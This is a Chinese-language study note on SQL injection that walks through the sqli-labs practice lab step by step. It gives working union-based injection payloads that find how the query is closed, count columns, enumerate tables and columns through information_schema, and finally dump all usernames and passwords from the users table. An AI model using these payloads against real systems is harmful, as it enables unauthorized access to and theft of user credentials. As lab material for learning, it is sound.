漏洞扫描原理以及sql注入
关于漏洞
漏洞为什么会出现?
——因为和用户有互动。
因为需要调用后端的逻辑代码,甚至需要调用数据库或者操作系统命令
最基本的sql
sql注入靶场 sqli-labs
命令行操作数据库
mysql.exe -uroot -proot
//输入用户名和密码连接数据库
show databases;
//查看数据库所有库名
use [库名];
//进入某个数据库
show tables;
//查看数据库有多少张表
select * from [表名];
//查看表中所有内容
select * from table where id<13 limit 1,2;
select 1,2,3,4,5;
//自己创建一个表
select * from table where id<13 union select 1,2,3;
//联合查询
基本sql注入攻击
ps
本次用的是sqli-labs里的第一题
估算目标数据库语法
select username,password from table where id=1 limit 0,1;
黑客需要破坏数据库语句目的是:为了知道数据库的闭合方式。
这个世界上所有的闭合方式:
‘ “ () (‘x’) ((‘x’)) (“x”) ((“x”)) (()) 和没有任何闭合方式的
猜测比如:
id=2'
报错:’’2’’ LIMIT 0,1’
即实际上:’2’’ LIMIT 0,1
\ = 转义字符:把后面的第一个东西变成字符串
select username,password from table where id=' 2\' limit 0,1
闭合失败,报错,爆出闭合内容,知道闭合方式是’’
数据库注释符:
--
/**/
#
+
相当于空格
那么就可以把后续内容注释掉:
select username,password from table where id=' 2' --+ ' limit 0,1
即:select username,password from table where id=' 2'
确定有多少个栏目
id=2' order by [数字] --+
完整即:
select id,username,password from table where id=' 2' order by 10 --+
发现order by 3
正常
说明他数据库里有3个栏目
显示报错位
select id,username,password from table where id=' -2' union select 1,2,3 --+ ' limit 0,1
id=-2' union select 1,2,3 --+
发现报错位是2,3
查看数据库的库名
id=-2' union select 1,database(),3 --+
库名是security
根据库名找到表名
id=-2' union select 1,table_name,3 from information_schema.tables where table_schema = 'security' limit 0,1 --+
查到表名emails,referers,uagents,users
根据表名找到列名
黑客觉得users
里面的数据很有价值\
id=-2' union select 1,column_name,3 from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1 --+
发现users
里有id,username,password
黑客需要拿到所有的username
和password
的值
id=-2' union select 1,group_concat(username),group_concat(password) from users --+